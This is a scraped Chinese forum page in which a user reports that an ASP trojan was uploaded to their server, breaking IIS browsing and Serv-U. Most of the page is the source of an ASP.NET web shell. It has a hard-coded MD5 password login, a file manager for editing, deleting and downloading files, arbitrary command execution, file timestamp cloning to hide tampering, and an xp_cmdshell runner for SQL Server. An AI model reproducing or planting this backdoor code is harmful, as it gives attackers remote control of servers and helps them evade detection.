服务器早几天被上传asp木马。现在服务器上的IIS不能直接浏览。找不到网页,但是奇怪的是网站还能正常运行。
服务器上的Serv-U不能使用,报下面的错。
“Serv-U无法确定网络 网络故障或Sockets不足如何解决”
是什么原因,
服务器上的Serv-U不能使用,报下面的错。
“Serv-U无法确定网络 网络故障或Sockets不足如何解决”
是什么原因,
解决方案 »
- 关于asp.net 2.0 dotnetCHARTING 使用
- javascript调用后台方法(急)
- 哪位高手使用过百度推广api做系统?小弟最近要用百度推广api做系统,有经验的高手是否可以指点一二?
- 寻找一个JS+xml 的二级互动菜单。火狐跟IE斗兼容的。。
- 绑定关联类的字段,如一对一两个表,怎样通过类的关联关系绑定到silverlight控件中.
- 图片操作(生成小图类)
- csdn上兄弟给的代码?调试不能通过!!!
- 类型“UltraWebGrid”的控件“UGrid”必须放在具有 runat=server 的窗体标记内
- 如何在asp.net中打开Word文件后,保存时是保存在服务器上而不是客户端?
- 已上传了Crystal Report9.0的ISO文件,需要的可以下载
- 有没xslt的高手?生成excel的方案中,我想动态的设置ss:index的值
- GridView1样式绑定问题?
<%@ import Namespace="System.IO" %>
<%@ import Namespace="System.Diagnostics" %>
<%@ import Namespace="Microsoft.Win32" %>
<%@ import Namespace="System.Data" %>
<%@ import Namespace="System.Data.OleDb" %>
<script runat="server"> '---------Setting Start---------
'Here, modify the default password to yours, MD5 Hash
Const PASSWORD as string = "add6bb58e139be103324d04d82d8f545"
'Session name, avoid session crash
Const SESSIONNAME as string = "webadmin2"
'---------Setting End---------
Dim SORTFILED As String
Sub Page_load(sender As Object, E As EventArgs)
Dim error_x as Exception
Try
If Session(SESSIONNAME) = 0 Then
ShowLogin()
Else
ShowMain()
If not IsPostBack Then
Select Case Request("action")
Case "goto"
CDir.Text = Request("src")
Call ShowFolders(CDir.Text)
Case "copy"
Call ShowCopy(Request("src"))
Case "cut"
Call ShowCut(Request("src"))
Case "down"
Call DownLoadIt(Request("src"))
Case "edit"
Call ShowEdit(Request("src"))
Case "del"
Call ShowDel(Request("src"))
Case "rename"
Call ShowRn(Request("src"))
Case "att"
Call ShowAtt(Request("src"))
End Select
End If
End If
Catch error_x
ShowError(error_x.Message)
End Try
End Sub
Sub Login_click(sender As Object, E As EventArgs)
Dim MD5Pass As String = LCase(FormsAuthentication.HashPasswordForStoringInConfigFile(UPass.Text, "MD5"))
If MD5Pass=PASSWORD Then
Session(SESSIONNAME) = 1
Call ShowMain()
Else
Label_Info.Text = "<b>NO, no, you don't my master</b>"
End If
End Sub
Sub Button_showinfo_Click(sender As Object, E As EventArgs)
ULOGIN.Visible = False
MAIN.Visible = True
FileManager.Visible = False
CMD.Visible = False
CloneTime.Visible = False
SQLROOTKIT.Visible = False
SysInfo.Visible = True
Reg.Visible = False
DATA.Visible = False
About.Visible = False
ServerIP.Text = request.ServerVariables("LOCAL_ADDR")
MachineName.Text = Environment.MachineName
UserDomainName.Text = Environment.UserDomainName.ToString()
UserName.Text = Environment.UserName
OS.Text = Environment.OSVersion.ToString()
StartTime.Text = GetStartedTime(Environment.Tickcount) & "Hours"
NowTime.Text = Now()
IISV.Text = request.ServerVariables("SERVER_SOFTWARE")
HTTPS.Text = request.ServerVariables("HTTPS")
PATHS.Text = request.ServerVariables("PATH_INFO")
PATHS2.Text = request.ServerVariables("PATH_TRANSLATED")
PORT.Text = request.ServerVariables("SERVER_PORT")
SID.Text = Session.SessionID
End Sub
Function GetStartedTime(ms)
GetStartedTime=cint(ms/(1000*60*60))
End function
Sub ShowReg(Src As Object, E As EventArgs)
ULOGIN.Visible = False
MAIN.Visible = True
FileManager.Visible = False
CMD.Visible = False
CloneTime.Visible = False
SQLROOTKIT.Visible = False
SysInfo.Visible = False
Reg.Visible = True
DATA.Visible = False
About.Visible = False
End Sub
Sub ShowData(Src As Object, E As EventArgs)
ULOGIN.Visible = False
MAIN.Visible = True
FileManager.Visible = False
CMD.Visible = False
CloneTime.Visible = False
SQLROOTKIT.Visible = False
SysInfo.Visible = False
Reg.Visible = False
DATA.Visible = True
About.Visible = False
End Sub
Sub ShowAbout(Src As Object, E As EventArgs)
ULOGIN.Visible = False
MAIN.Visible = True
FileManager.Visible = False
CMD.Visible = False
CloneTime.Visible = False
SQLROOTKIT.Visible = False
SysInfo.Visible = False
Reg.Visible = False
DATA.Visible = False
About.Visible = True
End Sub
Sub ShowEdit( filepath as string)
ULOGIN.Visible = False
MAIN.Visible = false
FileManager.Visible = False
CMD.Visible = False
CloneTime.Visible = False
SQLROOTKIT.Visible = False
SysInfo.Visible = False
Reg.Visible = False
DATA.Visible = False
About.Visible = False
File_Edit.Visible = true
edited_path.Text = filepath
dim myread as new streamreader(filepath, encoding.default)
edited_path.text = filepath
edited_content.text=myread.readtoend
myread.close()
End Sub
Sub ShowDel( filepath as string)
MAIN.Visible = false
FileManager.Visible = False
File_del.Visible = True
label_del.Text = "Are u sure delete file/Folder <b>" & filepath & "</b> ?"
End Sub
Sub ShowRn( filepath as string)
MAIN.Visible = false
FileManager.Visible = False
File_Rename.Visible = True
btn_rename.Text = path.getfilename(filepath)
End Sub
Sub RunCMD(Src As Object, E As EventArgs)
Dim error_x as Exception
Try
Dim myProcess As New Process()
Dim myProcessStartInfo As New ProcessStartInfo(cmdPath.Text)
myProcessStartInfo.UseShellExecute = False
myProcessStartInfo.RedirectStandardOutput = true
myProcess.StartInfo = myProcessStartInfo
myProcessStartInfo.Arguments = CMDCommand.text
myProcess.Start()
Dim myStreamReader As StreamReader = myProcess.StandardOutput
Dim myString As String = myStreamReader.Readtoend()
myProcess.Close()
mystring=replace(mystring,"<","<")
mystring=replace(mystring,">",">")
CMDresult.text = "<pre>" & mystring & "</pre>"
Catch error_x
ShowError(error_x.Message)
End Try
End Sub
Sub GoCloneTime(Src As Object, E As EventArgs)
Dim error_x as Exception
Try
Dim thisfile As FileInfo =New FileInfo(time1.Text)
Dim thatfile As FileInfo =New FileInfo(time2.Text)
thisfile.LastWriteTime = thatfile.LastWriteTime
thisfile.LastAccessTime = thatfile.LastAccessTime
thisfile.CreationTime = thatfile.CreationTime
Label_cloneResult.Text = "<font color=""red"">Clone Time Success!</font>"
Catch error_x
ShowError(error_x.Message)
End Try
End Sub
Sub CMDSHELL(Src As Object, E As EventArgs)
Dim error_x as Exception
Try
Dim adoConn,strQuery,recResult,strResult
adoConn=Server.CreateObject("ADODB.Connection")
adoConn.Open(ConStr.Text)
If Sqlcmd.Text<>"" Then
strQuery = "exec master.dbo.xp_cmdshell '" & Sqlcmd.Text & "'"
recResult = adoConn.Execute(strQuery)
If NOT recResult.EOF Then
Do While NOT recResult.EOF
strResult = strResult & chr(13) & recResult(0).value
recResult.MoveNext
Loop
End if
recResult = Nothing
strResult = Replace(strResult," "," ")
strResult = Replace(strResult,"<","<")
strResult = Replace(strResult,">",">")
resultSQL.Text=SqlCMD.Text & vbcrlf & "<pre>" & strResult & "</pre>"
End if
adoConn.Close
Catch error_x
ShowError(error_x.Message)
End Try
End Sub